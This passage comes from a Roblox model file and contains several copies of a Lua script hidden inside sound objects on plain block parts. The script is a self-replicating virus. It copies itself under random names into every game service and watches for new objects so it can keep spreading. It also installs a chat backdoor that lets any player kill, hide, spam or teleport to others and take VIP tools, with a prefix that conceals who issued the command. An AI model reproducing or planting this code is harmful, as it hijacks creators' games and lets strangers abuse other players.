if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX378">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-19.5</X>
							<Y>3.4000001</Y>
							<Z>109.5</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX379">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">4wtv</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX380">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">1xz15fp</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX381">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-19.5</X>
							<Y>3.4000001</Y>
							<Z>127.5</Z>
							<R00>1</R00>
							<R01>3.20897348e-043</R01>
							<R02>-3.87117218e-019</R02>
							<R10>3.20897348e-043</R10>
							<R11>1</R11>
							<R12>-1.75594127e-024</R12>
							<R20>-3.87117218e-019</R20>
							<R21>-1.75594127e-024</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX382">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ugwdq</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX383">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">mcky5u5c</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
